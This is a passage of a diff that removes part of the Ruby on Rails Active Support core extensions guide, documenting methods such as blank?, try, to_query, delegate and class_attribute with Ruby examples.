-require 'active_support/core_ext'
-</ruby>
-
-h5. Loading All Active Support
-
-And finally, if you want to have all Active Support available just issue:
-
-<ruby>
-require 'active_support/all'
-</ruby>
-
-That does not even put the entire Active Support in memory upfront indeed, some stuff is configured via +autoload+, so it is only loaded if used.
-
-h4. Active Support Within a Ruby on Rails Application
-
-A Ruby on Rails application loads all Active Support unless +config.active_support.bare+ is true. In that case, the application will only load what the framework itself cherry-picks for its own needs, and can still cherry-pick itself at any granularity level, as explained in the previous section.
-
-h3. Extensions to All Objects
-
-h4. +blank?+ and +present?+
-
-The following values are considered to be blank in a Rails application:
-
-* +nil+ and +false+,
-
-* strings composed only of whitespace (see note below),
-
-* empty arrays and hashes, and
-
-* any other object that responds to +empty?+ and it is empty.
-
-INFO: In Ruby 1.9 the predicate for strings uses the Unicode-aware character class <tt>[:space:]</tt>, so for example U+2029 (paragraph separator) is considered to be whitespace. In Ruby 1.8 whitespace is considered to be <tt>\s</tt> together with the ideographic space U+3000.
-
-WARNING: Note that numbers are not mentioned, in particular 0 and 0.0 are *not* blank.
-
-For example, this method from +ActionDispatch::Session::AbstractStore+ uses +blank?+ for checking whether a session key is present:
-
-<ruby>
-def ensure_session_key!
-  if @key.blank?
-    raise ArgumentError, 'A key is required...'
-  end
-end
-</ruby>
-
-The method +present?+ is equivalent to +!blank?+. This example is taken from +ActionDispatch::Http::Cache::Response+:
-
-<ruby>
-def set_conditional_cache_control!
-  return if self["Cache-Control"].present?
-  ...
-end
-</ruby>
-
-NOTE: Defined in +active_support/core_ext/object/blank.rb+.
-
-h4. +presence+
-
-The +presence+ method returns its receiver if +present?+, and +nil+ otherwise. It is useful for idioms like this:
-
-<ruby>
-host = config[:host].presence || 'localhost'
-</ruby>
-
-NOTE: Defined in +active_support/core_ext/object/blank.rb+.
-
-h4. +duplicable?+
-
-A few fundamental objects in Ruby are singletons. For example, in the whole life of a program the integer 1 refers always to the same instance:
-
-<ruby>
-1.object_id                 # => 3
-Math.cos(0).to_i.object_id  # => 3
-</ruby>
-
-Hence, there's no way these objects can be duplicated through +dup+ or +clone+:
-
-<ruby>
-true.dup  # => TypeError: can't dup TrueClass
-</ruby>
-
-Some numbers which are not singletons are not duplicable either:
-
-<ruby>
-0.0.clone        # => allocator undefined for Float
-(2**1024).clone  # => allocator undefined for Bignum
-</ruby>
-
-Active Support provides +duplicable?+ to programmatically query an object about this property:
-
-<ruby>
-"".duplicable?     # => true
-false.duplicable?  # => false
-</ruby>
-
-By definition all objects are +duplicable?+ except +nil+, +false+, +true+, symbols, numbers, and class and module objects.
-
-WARNING. Any class can disallow duplication removing +dup+ and +clone+ or raising exceptions from them, only +rescue+ can tell whether a given arbitrary object is duplicable. +duplicable?+ depends on the hard-coded list above, but it is much faster than +rescue+. Use it only if you know the hard-coded list is enough in your use case.
-
-NOTE: Defined in +active_support/core_ext/object/duplicable.rb+.
-
-h4. +try+
-
-Sometimes you want to call a method provided the receiver object is not +nil+, which is something you usually check first. +try+ is like +Object#send+ except that it returns +nil+ if sent to +nil+.
-
-For instance, in this code from +ActiveRecord::ConnectionAdapters::AbstractAdapter+ +@logger+ could be +nil+, but you save the check and write in an optimistic style:
-
-<ruby>
-def log_info(sql, name, ms)
-  if @logger.try(:debug?)
-    name = '%s (%.1fms)' % [name || 'SQL', ms]
-    @logger.debug(format_log_entry(name, sql.squeeze(' ')))
-  end
-end
-</ruby>
-
-+try+ can also be called without arguments but a block, which will only be executed if the object is not nil:
-
-<ruby>
-@person.try { |p| "#{p.first_name} #{p.last_name}" }
-</ruby>
-
-NOTE: Defined in +active_support/core_ext/object/try.rb+.
-
-h4. +singleton_class+
-
-The method +singleton_class+ returns the singleton class of the receiver:
-
-<ruby>
-String.singleton_class     # => #<Class:String>
-String.new.singleton_class # => #<Class:#<String:0x17a1d1c>>
-</ruby>
-
-WARNING: Fixnums and symbols have no singleton classes, +singleton_class+ raises +TypeError+ on them. Moreover, the singleton classes of +nil+, +true+, and +false+, are +NilClass+, +TrueClass+, and +FalseClass+, respectively.
-
-NOTE: Defined in +active_support/core_ext/kernel/singleton_class.rb+.
-
-h4. +class_eval(*args, &block)+
-
-You can evaluate code in the context of any object's singleton class using +class_eval+:
-
-<ruby>
-class Proc
-  def bind(object)
-    block, time = self, Time.now
-    object.class_eval do
-      method_name = "__bind_#{time.to_i}_#{time.usec}"
-      define_method(method_name, &block)
-      method = instance_method(method_name)
-      remove_method(method_name)
-      method
-    end.bind(object)
-  end
-end
-</ruby>
-
-NOTE: Defined in +active_support/core_ext/kernel/singleton_class.rb+.
-
-h4. +acts_like?(duck)+
-
-The method +acts_like+ provides a way to check whether some class acts like some other class based on a simple convention: a class that provides the same interface as +String+ defines
-
-<ruby>
-def acts_like_string?
-end
-</ruby>
-
-which is only a marker, its body or return value are irrelevant. Then, client code can query for duck-type-safeness this way:
-
-<ruby>
-some_klass.acts_like?(:string)
-</ruby>
-
-Rails has classes that act like +Date+ or +Time+ and follow this contract.
-
-NOTE: Defined in +active_support/core_ext/object/acts_like.rb+.
-
-h4. +to_param+
-
-All objects in Rails respond to the method +to_param+, which is meant to return something that represents them as values in a query string, or as URL fragments.
-
-By default +to_param+ just calls +to_s+:
-
-<ruby>
-7.to_param # => "7"
-</ruby>
-
-The return value of +to_param+ should *not* be escaped:
-
-<ruby>
-"Tom & Jerry".to_param # => "Tom & Jerry"
-</ruby>
-
-Several classes in Rails overwrite this method.
-
-For example +nil+, +true+, and +false+ return themselves. +Array#to_param+ calls +to_param+ on the elements and joins the result with "/":
-
-<ruby>
-[0, true, String].to_param # => "0/true/String"
-</ruby>
-
-Notably, the Rails routing system calls +to_param+ on models to get a value for the +:id+ placeholder. +ActiveRecord::Base#to_param+ returns the +id+ of a model, but you can redefine that method in your models. For example, given
-
-<ruby>
-class User
-  def to_param
-    "#{id}-#{name.parameterize}"
-  end
-end
-</ruby>
-
-we get:
-
-<ruby>
-user_path(@user) # => "/users/357-john-smith"
-</ruby>
-
-WARNING. Controllers need to be aware of any redefinition of +to_param+ because when a request like that comes in "357-john-smith" is the value of +params[:id]+.
-
-NOTE: Defined in +active_support/core_ext/object/to_param.rb+.
-
-h4. +to_query+
-
-Except for hashes, given an unescaped +key+ this method constructs the part of a query string that would map such key to what +to_param+ returns. For example, given
-
-<ruby>
-class User
-  def to_param
-    "#{id}-#{name.parameterize}"
-  end
-end
-</ruby>
-
-we get:
-
-<ruby>
-current_user.to_query('user') # => user=357-john-smith
-</ruby>
-
-This method escapes whatever is needed, both for the key and the value:
-
-<ruby>
-account.to_query('company[name]')
-# => "company%5Bname%5D=Johnson<plus>%26<plus>Johnson"
-</ruby>
-
-so its output is ready to be used in a query string.
-
-Arrays return the result of applying +to_query+ to each element with <tt>_key_[]</tt> as key, and join the result with "&":
-
-<ruby>
-[3.4, -45.6].to_query('sample')
-# => "sample%5B%5D=3.4&sample%5B%5D=-45.6"
-</ruby>
-
-Hashes also respond to +to_query+ but with a different signature. If no argument is passed a call generates a sorted series of key/value assignments calling +to_query(key)+ on its values. Then it joins the result with "&":
-
-<ruby>
-{:c => 3, :b => 2, :a => 1}.to_query # => "a=1&b=2&c=3"
-</ruby>
-
-The method +Hash#to_query+ accepts an optional namespace for the keys:
-
-<ruby>
-{:id => 89, :name => "John Smith"}.to_query('user')
-# => "user%5Bid%5D=89&user%5Bname%5D=John+Smith"
-</ruby>
-
-NOTE: Defined in +active_support/core_ext/object/to_query.rb+.
-
-h4. +with_options+
-
-The method +with_options+ provides a way to factor out common options in a series of method calls.
-
-Given a default options hash, +with_options+ yields a proxy object to a block. Within the block, methods called on the proxy are forwarded to the receiver with their options merged. For example, you get rid of the duplication in:
-
-<ruby>
-class Account < ActiveRecord::Base
-  has_many :customers, :dependent => :destroy
-  has_many :products,  :dependent => :destroy
-  has_many :invoices,  :dependent => :destroy
-  has_many :expenses,  :dependent => :destroy
-end
-</ruby>
-
-this way:
-
-<ruby>
-class Account < ActiveRecord::Base
-  with_options :dependent => :destroy do |assoc|
-    assoc.has_many :customers
-    assoc.has_many :products
-    assoc.has_many :invoices
-    assoc.has_many :expenses
-  end
-end
-</ruby>
-
-That idiom may convey _grouping_ to the reader as well. For example, say you want to send a newsletter whose language depends on the user. Somewhere in the mailer you could group locale-dependent bits like this:
-
-<ruby>
-I18n.with_options :locale => user.locale, :scope => "newsletter" do |i18n|
-  subject i18n.t :subject
-  body    i18n.t :body, :user_name => user.name
-end
-</ruby>
-
-TIP: Since +with_options+ forwards calls to its receiver they can be nested. Each nesting level will merge inherited defaults in addition to their own.
-
-NOTE: Defined in +active_support/core_ext/object/with_options.rb+.
-
-h4. Instance Variables
-
-Active Support provides several methods to ease access to instance variables.
-
-h5. +instance_variable_names+
-
-Ruby 1.8 and 1.9 have a method called +instance_variables+ that returns the names of the defined instance variables. But they behave differently, in 1.8 it returns strings whereas in 1.9 it returns symbols. Active Support defines +instance_variable_names+ as a portable way to obtain them as strings:
-
-<ruby>
-class C
-  def initialize(x, y)
-    @x, @y = x, y
-  end
-end
-
-C.new(0, 1).instance_variable_names # => ["@y", "@x"]
-</ruby>
-
-WARNING: The order in which the names are returned is unspecified, and it indeed depends on the version of the interpreter.
-
-NOTE: Defined in +active_support/core_ext/object/instance_variables.rb+.
-
-h5. +instance_values+
-
-The method +instance_values+ returns a hash that maps instance variable names without "@" to their
-corresponding values. Keys are strings both in Ruby 1.8 and 1.9:
-
-<ruby>
-class C
-  def initialize(x, y)
-    @x, @y = x, y
-  end
-end
-
-C.new(0, 1).instance_values # => {"x" => 0, "y" => 1}
-</ruby>
-
-NOTE: Defined in +active_support/core_ext/object/instance_variables.rb+.
-
-h4. Silencing Warnings, Streams, and Exceptions
-
-The methods +silence_warnings+ and +enable_warnings+ change the value of +$VERBOSE+ accordingly for the duration of their block, and reset it afterwards:
-
-<ruby>
-silence_warnings { Object.const_set "RAILS_DEFAULT_LOGGER", logger }
-</ruby>
-
-You can silence any stream while a block runs with +silence_stream+:
-
-<ruby>
-silence_stream(STDOUT) do
-  # STDOUT is silent here
-end
-</ruby>
-
-The +quietly+ method addresses the common use case where you want to silence STDOUT and STDERR, even in subprocesses:
-
-<ruby>
-quietly { system 'bundle install' }
-</ruby>
-
-For example, the railties test suite uses that one in a few places to prevent command messages from being echoed intermixed with the progress status.
-
-Silencing exceptions is also possible with +suppress+. This method receives an arbitrary number of exception classes. If an exception is raised during the execution of the block and is +kind_of?+ any of the arguments, +suppress+ captures it and returns silently. Otherwise the exception is reraised:
-
-<ruby>
-# If the user is locked the increment is lost, no big deal.
-suppress(ActiveRecord::StaleObjectError) do
-  current_user.increment! :visits
-end
-</ruby>
-
-NOTE: Defined in +active_support/core_ext/kernel/reporting.rb+.
-
-h4. +in?+
-
-The predicate +in?+ tests if an object is included in another object. An +ArgumentError+ exception will be raised if the argument passed does not respond to +include?+.
-
-Examples of +in?+:
-
-<ruby>
-1.in?([1,2])        # => true
-"lo".in?("hello")   # => true
-25.in?(30..50)      # => false
-</ruby>
-
-NOTE: Defined in +active_support/core_ext/object/inclusion.rb+.
-
-h3. Extensions to +Module+
-
-h4. +alias_method_chain+
-
-Using plain Ruby you can wrap methods with other methods, that's called _alias chaining_.
-
-For example, let's say you'd like params to be strings in functional tests, as they are in real requests, but still want the convenience of assigning integers and other kind of values. To accomplish that you could wrap +ActionController::TestCase#process+ this way in +test/test_helper.rb+:
-
-<ruby>
-ActionController::TestCase.class_eval do
-  # save a reference to the original process method
-  alias_method :original_process, :process
-
-  # now redefine process and delegate to original_process
-  def process(action, params=nil, session=nil, flash=nil, http_method='GET')
-    params = Hash[*params.map {|k, v| [k, v.to_s]}.flatten]
-    original_process(action, params, session, flash, http_method)
-  end
-end
-</ruby>
-
-That's the method +get+, +post+, etc., delegate the work to.
-
-That technique has a risk, it could be the case that +:original_process+ was taken. To try to avoid collisions people choose some label that characterizes what the chaining is about:
-
-<ruby>
-ActionController::TestCase.class_eval do
-  def process_with_stringified_params(...)
-    params = Hash[*params.map {|k, v| [k, v.to_s]}.flatten]
-    process_without_stringified_params(action, params, session, flash, http_method)
-  end
-  alias_method :process_without_stringified_params, :process
-  alias_method :process, :process_with_stringified_params
-end
-</ruby>
-
-The method +alias_method_chain+ provides a shortcut for that pattern:
-
-<ruby>
-ActionController::TestCase.class_eval do
-  def process_with_stringified_params(...)
-    params = Hash[*params.map {|k, v| [k, v.to_s]}.flatten]
-    process_without_stringified_params(action, params, session, flash, http_method)
-  end
-  alias_method_chain :process, :stringified_params
-end
-</ruby>
-
-Rails uses +alias_method_chain+ all over the code base. For example validations are added to +ActiveRecord::Base#save+ by wrapping the method that way in a separate module specialized in validations.
-
-NOTE: Defined in +active_support/core_ext/module/aliasing.rb+.
-
-h4. Attributes
-
-h5. +alias_attribute+
-
-Model attributes have a reader, a writer, and a predicate. You can alias a model attribute having the corresponding three methods defined for you in one shot. As in other aliasing methods, the new name is the first argument, and the old name is the second (my mnemonic is they go in the same order as if you did an assignment):
-
-<ruby>
-class User < ActiveRecord::Base
-  # let me refer to the email column as "login",
-  # possibly meaningful for authentication code
-  alias_attribute :login, :email
-end
-</ruby>
-
-NOTE: Defined in +active_support/core_ext/module/aliasing.rb+.
-
-h5. +attr_accessor_with_default+
-
-The method +attr_accessor_with_default+ serves the same purpose as the Ruby macro +attr_accessor+ but allows you to set a default value for the attribute:
-
-<ruby>
-class Url
-  attr_accessor_with_default :port, 80
-end
-
-Url.new.port # => 80
-</ruby>
-
-The default value can be also specified with a block, which is called in the context of the corresponding object:
-
-<ruby>
-class User
-  attr_accessor :name, :surname
-  attr_accessor_with_default(:full_name) do
-    [name, surname].compact.join(" ")
-  end
-end
-
-u = User.new
-u.name = 'Xavier'
-u.surname = 'Noria'
-u.full_name # => "Xavier Noria"
-</ruby>
-
-The result is not cached, the block is invoked in each call to the reader.
-
-You can overwrite the default with the writer:
-
-<ruby>
-url = Url.new
-url.host # => 80
-url.host = 8080
-url.host # => 8080
-</ruby>
-
-The default value is returned as long as the attribute is unset. The reader does not rely on the value of the attribute to know whether it has to return the default. It rather monitors the writer: if there's any assignment the value is no longer considered to be unset.
-
-Active Resource uses this macro to set a default value for the +:primary_key+ attribute:
-
-<ruby>
-attr_accessor_with_default :primary_key, 'id'
-</ruby>
-
-NOTE: Defined in +active_support/core_ext/module/attr_accessor_with_default.rb+.
-
-h5. Internal Attributes
-
-When you are defining an attribute in a class that is meant to be subclassed name collisions are a risk. That's remarkably important for libraries.
-
-Active Support defines the macros +attr_internal_reader+, +attr_internal_writer+, and +attr_internal_accessor+. They behave like their Ruby built-in +attr_*+ counterparts, except they name the underlying instance variable in a way that makes collisions less likely.
-
-The macro +attr_internal+ is a synonym for +attr_internal_accessor+:
-
-<ruby>
-# library
-class ThirdPartyLibrary::Crawler
-  attr_internal :log_level
-end
-
-# client code
-class MyCrawler < ThirdPartyLibrary::Crawler
-  attr_accessor :log_level
-end
-</ruby>
-
-In the previous example it could be the case that +:log_level+ does not belong to the public interface of the library and it is only used for development. The client code, unaware of the potential conflict, subclasses and defines its own +:log_level+. Thanks to +attr_internal+ there's no collision.
-
-By default the internal instance variable is named with a leading underscore, +@_log_level+ in the example above. That's configurable via +Module.attr_internal_naming_format+ though, you can pass any +sprintf+-like format string with a leading +@+ and a +%s+ somewhere, which is where the name will be placed. The default is +"@_%s"+.
-
-Rails uses internal attributes in a few spots, for examples for views:
-
-<ruby>
-module ActionView
-  class Base
-    attr_internal :captures
-    attr_internal :request, :layout
-    attr_internal :controller, :template
-  end
-end
-</ruby>
-
-NOTE: Defined in +active_support/core_ext/module/attr_internal.rb+.
-
-h5. Module Attributes
-
-The macros +mattr_reader+, +mattr_writer+, and +mattr_accessor+ are analogous to the +cattr_*+ macros defined for class. Check "Class Attributes":#class-attributes.
-
-For example, the dependencies mechanism uses them:
-
-<ruby>
-module ActiveSupport
-  module Dependencies
-    mattr_accessor :warnings_on_first_load
-    mattr_accessor :history
-    mattr_accessor :loaded
-    mattr_accessor :mechanism
-    mattr_accessor :load_paths
-    mattr_accessor :load_once_paths
-    mattr_accessor :autoloaded_constants
-    mattr_accessor :explicitly_unloadable_constants
-    mattr_accessor :logger
-    mattr_accessor :log_activity
-    mattr_accessor :constant_watch_stack
-    mattr_accessor :constant_watch_stack_mutex
-  end
-end
-</ruby>
-
-NOTE: Defined in +active_support/core_ext/module/attribute_accessors.rb+.
-
-h4. Parents
-
-h5. +parent+
-
-The +parent+ method on a nested named module returns the module that contains its corresponding constant:
-
-<ruby>
-module X
-  module Y
-    module Z
-    end
-  end
-end
-M = X::Y::Z
-
-X::Y::Z.parent # => X::Y
-M.parent       # => X::Y
-</ruby>
-
-If the module is anonymous or belongs to the top-level, +parent+ returns +Object+.
-
-WARNING: Note that in that case +parent_name+ returns +nil+.
-
-NOTE: Defined in +active_support/core_ext/module/introspection.rb+.
-
-h5. +parent_name+
-
-The +parent_name+ method on a nested named module returns the fully-qualified name of the module that contains its corresponding constant:
-
-<ruby>
-module X
-  module Y
-    module Z
-    end
-  end
-end
-M = X::Y::Z
-
-X::Y::Z.parent_name # => "X::Y"
-M.parent_name       # => "X::Y"
-</ruby>
-
-For top-level or anonymous modules +parent_name+ returns +nil+.
-
-WARNING: Note that in that case +parent+ returns +Object+.
-
-NOTE: Defined in +active_support/core_ext/module/introspection.rb+.
-
-h5(#module-parents). +parents+
-
-The method +parents+ calls +parent+ on the receiver and upwards until +Object+ is reached. The chain is returned in an array, from bottom to top:
-
-<ruby>
-module X
-  module Y
-    module Z
-    end
-  end
-end
-M = X::Y::Z
-
-X::Y::Z.parents # => [X::Y, X, Object]
-M.parents       # => [X::Y, X, Object]
-</ruby>
-
-NOTE: Defined in +active_support/core_ext/module/introspection.rb+.
-
-h4. Constants
-
-The method +local_constants+ returns the names of the constants that have been defined in the receiver module:
-
-<ruby>
-module X
-  X1 = 1
-  X2 = 2
-  module Y
-    Y1 = :y1
-    X1 = :overrides_X1_above
-  end
-end
-
-X.local_constants    # => ["X2", "X1", "Y"], assumes Ruby 1.8
-X::Y.local_constants # => ["X1", "Y1"], assumes Ruby 1.8
-</ruby>
-
-The names are returned as strings in Ruby 1.8, and as symbols in Ruby 1.9. The method +local_constant_names+ always returns strings.
-
-WARNING: This method returns precise results in Ruby 1.9. In older versions of Ruby, however, it may miss some constants in case the same constant exists in the receiver module as well as in any of its ancestors and both constants point to the same object (objects are compared using +Object#object_id+).
-
-NOTE: Defined in +active_support/core_ext/module/introspection.rb+.
-
-h5. Qualified Constant Names
-
-The standard methods +const_defined?+, +const_get+ , and +const_set+ accept
-bare constant names. Active Support extends this API to be able to pass
-relative qualified constant names.
-
-The new methods are +qualified_const_defined?+, +qualified_const_get+, and
-+qualified_const_set+. Their arguments are assumed to be qualified constant
-names relative to their receiver:
-
-<ruby>
-Object.qualified_const_defined?("Math::PI")       # => true
-Object.qualified_const_get("Math::PI")            # => 3.141592653589793
-Object.qualified_const_set("Math::Phi", 1.618034) # => 1.618034
-</ruby>
-
-Arguments may be bare constant names:
-
-<ruby>
-Math.qualified_const_get("E") # => 2.718281828459045
-</ruby>
-
-These methods are analogous to their builtin counterparts. In particular,
-+qualified_constant_defined?+ accepts an optional second argument in 1.9
-to be able to say whether you want the predicate to look in the ancestors.
-This flag is taken into account for each constant in the expression while
-walking down the path.
-
-For example, given
-
-<ruby>
-module M
-  X = 1
-end
-
-module N
-  class C
-    include M
-  end
-end
-</ruby>
-
-+qualified_const_defined?+ behaves this way:
-
-<ruby>
-N.qualified_const_defined?("C::X", false) # => false (1.9 only)
-N.qualified_const_defined?("C::X", true)  # => true (1.9 only)
-N.qualified_const_defined?("C::X")        # => false in 1.8, true in 1.9
-</ruby>
-
-As the last example implies, in 1.9 the second argument defaults to true,
-as in +const_defined?+.
-
-For coherence with the builtin methods only relative paths are accepted.
-Absolute qualified constant names like +::Math::PI+ raise +NameError+.
-
-NOTE: Defined in +active_support/core_ext/module/qualified_const.rb+.
-
-h4. Synchronization
-
-The +synchronize+ macro declares a method to be synchronized:
-
-<ruby>
-class Counter
-  @@mutex = Mutex.new
-  attr_reader :value
-
-  def initialize
-    @value = 0
-  end
-
-  def incr
-    @value += 1 # non-atomic
-  end
-  synchronize :incr, :with => '@@mutex'
-end
-</ruby>
-
-The method receives the name of an action, and a +:with+ option with code. The code is evaluated in the context of the receiver each time the method is invoked, and it should evaluate to a +Mutex+ instance or any other object that responds to +synchronize+ and accepts a block.
-
-NOTE: Defined in +active_support/core_ext/module/synchronization.rb+.
-
-h4. Reachable
-
-A named module is reachable if it is stored in its corresponding constant. It means you can reach the module object via the constant.
-
-That is what ordinarily happens, if a module is called "M", the +M+ constant exists and holds it:
-
-<ruby>
-module M
-end
-
-M.reachable? # => true
-</ruby>
-
-But since constants and modules are indeed kind of decoupled, module objects can become unreachable:
-
-<ruby>
-module M
-end
-
-orphan = Object.send(:remove_const, :M)
-
-# The module object is orphan now but it still has a name.
-orphan.name # => "M"
-
-# You cannot reach it via the constant M because it does not even exist.
-orphan.reachable? # => false
-
-# Let's define a module called "M" again.
-module M
-end
-
-# The constant M exists now again, and it stores a module
-# object called "M", but it is a new instance.
-orphan.reachable? # => false
-</ruby>
-
-NOTE: Defined in +active_support/core_ext/module/reachable.rb+.
-
-h4. Anonymous
-
-A module may or may not have a name:
-
-<ruby>
-module M
-end
-M.name # => "M"
-
-N = Module.new
-N.name # => "N"
-
-Module.new.name # => "" in 1.8, nil in 1.9
-</ruby>
-
-You can check whether a module has a name with the predicate +anonymous?+:
-
-<ruby>
-module M
-end
-M.anonymous? # => false
-
-Module.new.anonymous? # => true
-</ruby>
-
-Note that being unreachable does not imply being anonymous:
-
-<ruby>
-module M
-end
-
-m = Object.send(:remove_const, :M)
-
-m.reachable? # => false
-m.anonymous? # => false
-</ruby>
-
-though an anonymous module is unreachable by definition.
-
-NOTE: Defined in +active_support/core_ext/module/anonymous.rb+.
-
-h4. Method Delegation
-
-The macro +delegate+ offers an easy way to forward methods.
-
-Let's imagine that users in some application have login information in the +User+ model but name and other data in a separate +Profile+ model:
-
-<ruby>
-class User < ActiveRecord::Base
-  has_one :profile
-end
-</ruby>
-
-With that configuration you get a user's name via his profile, +user.profile.name+, but it could be handy to still be able to access such attribute directly:
-
-<ruby>
-class User < ActiveRecord::Base
-  has_one :profile
-
-  def name
-    profile.name
-  end
-end
-</ruby>
-
-That is what +delegate+ does for you:
-
-<ruby>
-class User < ActiveRecord::Base
-  has_one :profile
-
-  delegate :name, :to => :profile
-end
-</ruby>
-
-It is shorter, and the intention more obvious.
-
-The method must be public in the target.
-
-The +delegate+ macro accepts several methods:
-
-<ruby>
-delegate :name, :age, :address, :twitter, :to => :profile
-</ruby>
-
-When interpolated into a string, the +:to+ option should become an expression that evaluates to the object the method is delegated to. Typically a string or symbol. Such an expression is evaluated in the context of the receiver:
-
-<ruby>
-# delegates to the Rails constant
-delegate :logger, :to => :Rails
-
-# delegates to the receiver's class
-delegate :table_name, :to => 'self.class'
-</ruby>
-
-WARNING: If the +:prefix+ option is +true+ this is less generic, see below.
-
-By default, if the delegation raises +NoMethodError+ and the target is +nil+ the exception is propagated. You can ask that +nil+ is returned instead with the +:allow_nil+ option:
-
-<ruby>
-delegate :name, :to => :profile, :allow_nil => true
-</ruby>
-
-With +:allow_nil+ the call +user.name+ returns +nil+ if the user has no profile.
-
-The option +:prefix+ adds a prefix to the name of the generated method. This may be handy for example to get a better name:
-
-<ruby>
-delegate :street, :to => :address, :prefix => true
-</ruby>
-
-The previous example generates +address_street+ rather than +street+.
-
-WARNING: Since in this case the name of the generated method is composed of the target object and target method names, the +:to+ option must be a method name.
-
-A custom prefix may also be configured:
-
-<ruby>
-delegate :size, :to => :attachment, :prefix => :avatar
-</ruby>
-
-In the previous example the macro generates +avatar_size+ rather than +size+.
-
-NOTE: Defined in +active_support/core_ext/module/delegation.rb+
-
-h4. Method Names
-
-The builtin methods +instance_methods+ and +methods+ return method names as strings or symbols depending on the Ruby version. Active Support defines +instance_method_names+ and +method_names+ to be equivalent to them, respectively, but always getting strings back.
-
-For example, +ActionView::Helpers::FormBuilder+ knows this array difference is going to work no matter the Ruby version:
-
-<ruby>
-self.field_helpers = (FormHelper.instance_method_names - ['form_for'])
-</ruby>
-
-NOTE: Defined in +active_support/core_ext/module/method_names.rb+
-
-h4. Redefining Methods
-
-There are cases where you need to define a method with +define_method+, but don't know whether a method with that name already exists. If it does, a warning is issued if they are enabled. No big deal, but not clean either.
-
-The method +redefine_method+ prevents such a potential warning, removing the existing method before if needed. Rails uses it in a few places, for instance when it generates an association's API:
-
-<ruby>
-redefine_method("#{reflection.name}=") do |new_value|
-  association = association_instance_get(reflection.name)
-
-  if association.nil? || association.target != new_value
-    association = association_proxy_class.new(self, reflection)
-  end
-
-  association.replace(new_value)
-  association_instance_set(reflection.name, new_value.nil? ? nil : association)
-end
-</ruby>
-
-NOTE: Defined in +active_support/core_ext/module/remove_method.rb+
-
-h3. Extensions to +Class+
-
-h4. Class Attributes
-
-h5. +class_attribute+
-
-The method +class_attribute+ declares one or more inheritable class attributes that can be overridden at any level down the hierarchy.
-
-<ruby>
-class A
-  class_attribute :x
-end
-
-class B < A; end
-
-class C < B; end
-
-A.x = :a
-B.x # => :a
-C.x # => :a
-
-B.x = :b
-A.x # => :a
-C.x # => :b
-
-C.x = :c
-A.x # => :a
-B.x # => :b
-</ruby>
-
-For example +ActionMailer::Base+ defines:
-
-<ruby>
-class_attribute :default_params
-self.default_params = {
-  :mime_version => "1.0",
-  :charset      => "UTF-8",
-  :content_type => "text/plain",
-  :parts_order  => [ "text/plain", "text/enriched", "text/html" ]
-}.freeze
-</ruby>
-
-They can be also accessed and overridden at the instance level.
-
-<ruby>
-A.x = 1
-
-a1 = A.new
-a2 = A.new
-a2.x = 2
-
-a1.x # => 1, comes from A
-a2.x # => 2, overridden in a2
-</ruby>
-
-The generation of the writer instance method can be prevented by setting the option +:instance_writer+ to +false+.
-
-<ruby>
-module ActiveRecord
-  class Base
-    class_attribute :table_name_prefix, :instance_writer => false
-    self.table_name_prefix = ""
-  end
-end
-</ruby>
-
-A model may find that option useful as a way to prevent mass-assignment from setting the attribute.
-
-The generation of the reader instance method can be prevented by setting the option +:instance_reader+ to +false+.
-
-<ruby>
-class A
-  class_attribute :x, :instance_reader => false
-end
-
-A.new.x = 1 # NoMethodError
-</ruby>
-
-For convenience +class_attribute+ also defines an instance predicate which is the double negation of what the instance reader returns. In the examples above it would be called +x?+.
-
-When +:instance_reader+ is +false+, the instance predicate returns a +NoMethodError+ just like the reader method.
-
-NOTE: Defined in +active_support/core_ext/class/attribute.rb+
-
-h5. +cattr_reader+, +cattr_writer+, and +cattr_accessor+
-
-The macros +cattr_reader+, +cattr_writer+, and +cattr_accessor+ are analogous to their +attr_*+ counterparts but for classes. They initialize a class variable to +nil+ unless it already exists, and generate the corresponding class methods to access it:
-
-<ruby>
-class MysqlAdapter < AbstractAdapter
-  # Generates class methods to access @@emulate_booleans.
-  cattr_accessor :emulate_booleans
-  self.emulate_booleans = true
-end
-</ruby>
-
-Instance methods are created as well for convenience, they are just proxies to the class attribute. So, instances can change the class attribute, but cannot override it as it happens with +class_attribute+ (see above). For example given
-
-<ruby>
-module ActionView
-  class Base
-    cattr_accessor :field_error_proc
-    @@field_error_proc = Proc.new{ ... }
-  end
-end
-</ruby>
-
-we can access +field_error_proc+ in views.
-
-The generation of the reader instance method can be prevented by setting +:instance_reader+ to +false+ and the generation of the writer instance method can be prevented by setting +:instance_writer+ to +false+. Generation of both methods can be prevented by setting +:instance_accessor+ to +false+. In all cases, the value must be exactly +false+ and not any false value.
-
-<ruby>
-module A
-  class B
-    # No first_name instance reader is generated.
-    cattr_accessor :first_name, :instance_reader => false
-    # No last_name= instance writer is generated.
-    cattr_accessor :last_name, :instance_writer => false
-    # No surname instance reader or surname= writer is generated.
-    cattr_accessor :surname, :instance_accessor => false
-  end
-end
-</ruby>
-
-A model may find it useful to set +:instance_accessor+ to +false+ as a way to prevent mass-assignment from setting the attribute.
-
-NOTE: Defined in +active_support/core_ext/class/attribute_accessors.rb+.
-
-h4. Class Inheritable Attributes
-
-WARNING: Class Inheritable Attributes are deprecated. It's recommended that you use +Class#class_attribute+ instead.
-
-Class variables are shared down the inheritance tree. Class instance variables are not shared, but they are not inherited either. The macros +class_inheritable_reader+, +class_inheritable_writer+, and +class_inheritable_accessor+ provide accessors for class-level data which is inherited but not shared with children:
-
-<ruby>
-module ActionController
-  class Base
-    # FIXME: REVISE/SIMPLIFY THIS COMMENT.
-    # The value of allow_forgery_protection is inherited,
-    # but its value in a particular class does not affect
-    # the value in the rest of the controllers hierarchy.
-    class_inheritable_accessor :allow_forgery_protection
-  end
-end
-</ruby>
-
-They accomplish this with class instance variables and cloning on subclassing, there are no class variables involved. Cloning is performed with +dup+ as long as the value is duplicable.
-
-There are some variants specialised in arrays and hashes:
-
-<ruby>
-class_inheritable_array
-class_inheritable_hash
-</ruby>
-
-Those writers take any inherited array or hash into account and extend them rather than overwrite them.
-
-As with vanilla class attribute accessors these macros create convenience instance methods for reading and writing. The generation of the writer instance method can be prevented setting +:instance_writer+ to +false+ (not any false value, but exactly +false+):
-
-<ruby>
-module ActiveRecord
-  class Base
-    class_inheritable_accessor :default_scoping, :instance_writer => false
-  end
-end
-</ruby>
-
-Since values are copied when a subclass is defined, if the base class changes the attribute after that, the subclass does not see the new value. That's the point.
-
-NOTE: Defined in +active_support/core_ext/class/inheritable_attributes.rb+.
-
-h4. Subclasses & Descendants
-
-h5. +subclasses+
-
-The +subclasses+ method returns the subclasses of the receiver:
-
-<ruby>
-class C; end
-C.subclasses # => []
-
-class B < C; end
-C.subclasses # => [B]
-
-class A < B; end
